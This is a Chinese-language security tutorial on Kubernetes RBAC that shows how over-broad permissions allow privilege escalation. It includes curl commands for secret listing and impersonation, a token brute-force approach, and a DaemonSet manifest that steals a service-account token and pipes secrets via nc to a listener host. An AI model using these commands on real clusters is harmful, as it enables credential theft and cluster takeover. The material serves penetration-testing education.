K8s提权之RBAC权限滥用

本文首发于火线Zone:https://zone.huoxian.cn/?sort=newest

作者:今天R了吗

在K8s中RBAC是常用的授权模式,如果在配置RBAC时分配了“过大”资源对象访问权限可导致权限滥用来提权,以至于攻击者扩大战果,渗透集群。

如下是一些RBAC相关的笔记。

k8s的RBAC

RBAC - 基于角色的访问控制。

RBAC使用rbac.authorization.k8s.io API Group 来实现授权决策,允许管理员通过 Kubernetes API 动态配置策略,要启用RBAC,需要在 apiserver 中添加参数--authorization-mode=RBAC,如果使用的kubeadm安装的集群,1.6 版本以上的都默认开启了RBAC:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"

1655368658-293387-image

RBAC相关对象

K8s所有的资源对象都是模型化的API对象,允许执行CRUD,RBAC也有相关API对象,像Role、ClusterRole对象都是K8s内部的 API 资源,可以使用kubectl相关的命令来进行操作:

  • RoleClusterRole:角色和集群角色,这两个对象都包含上面的 Rules 元素,二者的区别在于,在 Role 中,定义的规则只适用于单个命名空间,也就是和 namespace 关联的,而 ClusterRole 是集群范围内的,因此定义的规则不受命名空间的约束。
  • RoleBindingClusterRoleBinding:角色绑定和集群角色绑定,简单来说就是把声明的 Subject 和我们的 Role 进行绑定的过程(给某个用户绑定上操作的权限),二者的区别也是作用范围的区别:RoleBinding 只会影响到当前 namespace 下面的资源操作权限,而 ClusterRoleBinding 会影响到所有的 namespace。

举一些RBAC使用的例子。

创建一个只能访问固定namespace的的hx用户

1.新创建一个用户凭证

给hx用户创建一个私钥:

openssl genrsa -out hx.key 2048

再使用这个私钥创建一个证书签名请求文件,-subj参数后是用户名和组(CN表示用户名,O表示组):

openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"

然后再使用K8s的CA证书来批准上面的证书请求:


1655368756-280293-image

这时候证书文件生成成功:

$ ls h*                                                                                                              ─╯
hx.crt  hx.csr  hx.key

现在使用创建的证书和私钥来在集群中创建新的凭证和上下文(Context):

sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key

1655368774-478239-image

为hx用户设置新的 Context:

$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx                  ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-role
  namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
  resources: ["deployments", "replicasets", "pods"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']

其中几个重要的字段:

  • apiGroups:其中的apiGroups: ["", "extensions", "apps"]为什么这么写?是因为通过https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文档查询得知,Pod属于 core API Group(为空即可),Deployment属于 apps API Group,ReplicaSets属于extensionsAPI Group。

  • verbs:可以对这些资源对象执行的操作,如果是所有操作就用*代替。

创建hx-role这个Role:


1655368799-776330-image

2.创建角色权限绑定

将hx用户和这个role绑定起来:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: hx-rolebinding
  namespace: kube-system
subjects:
- kind: User
  name: hx
  apiGroup: ""
roleRef:
  kind: Role
  name: hx-role
  apiGroup: ""
1655369676-913803-image

Subject字段是主题,对应在集群中尝试操作的对象,集群中定义了3种类型的主题资源:

  • User Account:用户,这是有外部独立服务进行管理的,管理员进行私钥的分配,用户可以使用 KeyStone或者 Goolge 帐号,甚至一个用户名和密码的文件列表也可以。对于用户的管理集群内部没有一个关联的资源对象,所以用户不能通过集群内部的 API 来进行管理
  • Group:组,这是用来关联多个账户的,集群中有一些默认创建的组,比如cluster-admin
  • Service Account:服务帐号,通过Kubernetes API 来管理的一些用户帐号,和 namespace 进行关联的,适用于集群内部运行的应用程序,需要通过 API 来完成权限认证,所以在集群内部进行权限操作,我们都需要使用到 ServiceAccount,这也是我们这节课的重点

现在使用hx用户来操作集群资源,这个时候不需要指定namespace,因为已经给用户分配了权限:

sudo kubectl get pods --context=hx-context

1655369689-712432-image

创建一个只能访问固定namespace的的hx-sa的ServiceAccount

Subject字段还可以是ServiceAccount,对ServiceAccount来进行角色绑定。

1.创建一个ServiceAccount对象

sudo kubectl create sa hx-sa -n kube-system

2.创建角色

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-sa-role
  namespace: kube-system
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
1655369785-171569-image

3.创建角色绑定

kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: hx-sa-rolebinding
  namespace: kube-system
subjects:
- kind: ServiceAccount
  name: hx-sa
  namespace: kube-system
roleRef:
  kind: Role
  name: hx-sa-role
  apiGroup: rbac.authorization.k8s.io
1655369801-701896-image

这时候可以使用sa账户的token去访问apiserver的资源了:

sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d
1655369817-921180-image

创建ClusterRoleBinding

如果需要创建一个可以访问所有namespace的角色,就可以使用ClusterRole 和 ClusterRoleBinding 这两种资源对象了。

sa:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: hx-sa2
  namespace: kube-system

ClusterRoleBinding 对象:

kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
  name: hx-sa2
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

这里是直接使用的cluster-admin 这个对象(Kubernetes集群内置的 ClusterRole 对象)而不是单独新建的ClusterRole对象。内置的集群角色和集群角色绑定都可以查看

kubectl get clusterrole
kubectl get clusterrolebinding
1655369837-205098-image

RBAC权限滥用提权

权限滥用主要在对特定资源有特定操作的情况下,可以有特定的权限提升。
对哪里资源有哪些操作权限通过上面已经说了,看rules的字段内容即可,配置resourcesverbs都为*那不用说,所有资源都可以进行任意操作。

1655370048-491869-image

枚举当前RBAC权限

在指定当前通过渗透得到用户凭据或者sa的凭据后,可以先枚举当前有哪些权限:

[upl-
1655372400-914302-image

也可以使用curl对apiserver的api进行访问来区别当前的权限:


1655371873-47175-image

枚举之后应该对当前凭据对资源的操作有个数了,下面列举在分配权限时,哪些情况下有提权提升的可能。

create pods权限

resources: ["*"] verbs: ["create"]resources为*或者为pods的情况下,verbs是create,在集群中可以创建任意资源,比如像pods,roles.而创建pods的命名空间也取决你role中metadata.namespace的值:

1655370509-489699-image

如果有create权限,常见攻击手法就是创建挂载根目录的pod,跳到node:


1655372021-455993-image

list secrets权限

resources: ["*"] verbs: ["list"]resources为*或者为secrets的情况下,verbs是list,在集群中可以列出其他user的secrets,一般拿来寻找特权账号凭据。

具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets,包括管理的keys(JWT):


1655370645-704606-image

利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret权限

resources: ["*"] verbs: ["get"]: resources为*或者为secrets的情况下,verbs是get,get可以在集群中获得其他service accounts的secrets。

如下定义Role的resources字段为*或者secrets对象,并且verbs为get,这时候有权限获得其他secrets。


1655370732-343714-image

get权限能访问的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一样,get需要知道secrets的id才能读:

1655370753-639383-image

图出处:list和get来窃取凭据的区别:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:


1655370867-76480-image

对应的token:

kubectl -n kube-system get secret -n kube-system

1655370890-300354-image

可以看到每个sa的token都是sa的name-token-随机五个字符,

其中随机的字符是由数字和字母组合,特定的27个字符:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

1655370903-971151-image

27的5次方也是14,348,907可能,写个py脚本的迭代器爆破即可:
1655370950-280471-image

get list watch secrets权限

resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话可以利用这三个权限,来创建一个恶意pod后通过挂载secrets以至获取别人的secrets,然后外带:

1655371003-703490-image
1655371029-29189-image

这里使用automountServiceAccountToken将特权服务帐户的令牌挂载到 pod,使用令牌获取拿到所有secrets后用nc传到攻击者监听端口,当前也可以使用其他方式带外:

1655371040-16623-image

图出处,创建一个"hot pod"来窃取凭据:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate权限

用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如,管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。

以下 HTTP 标头可用于执行模拟请求:

  • Impersonate-User:要充当的用户名。
  • Impersonate-Group:要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
  • Impersonate-Extra-( extra name ):用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
  • Impersonate-Uid:代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。

有了Impersonate权限攻击者可以模拟一个有特权的账户或者组:
Role:

1655371467-38911-image

binding:

1655371484-244657-image

模拟用户的操作是通过调用K8s API 的Header来指定的,kubectl可以加入--as参数:

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

请求apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

其他API资源对象的create权限滥用

如果当前Role的权限,是其他API对象的创建,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs等,都是可以进行创建然后在containers.args字段加入执行的e恶意命令:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

其他创建pod的方法具体可以查看pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates

Bind权限

用有bind权限允许用户将高角色绑定到当前已经被控制的帐户导致权限提权。

下面的ClusterRole使用了bind权限,允许用户创建一个与管理ClusterRole(默认的高特权角色)的RoleBinding,并添加任何用户,包括自己,到这个管理ClusterRole:


1655372141-119401-image

那么就有可能创造出恶意角色binging,它将管理员角色绑定到现在已经被控制的帐户:

1655372177-891382-image

使用kubectl指定token或者curl到apiserver来完成绑定:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \ 
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
 -d @malicious-RoleBinging.json

然后当前账户就是高权限角色,自然可以列出secret等:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容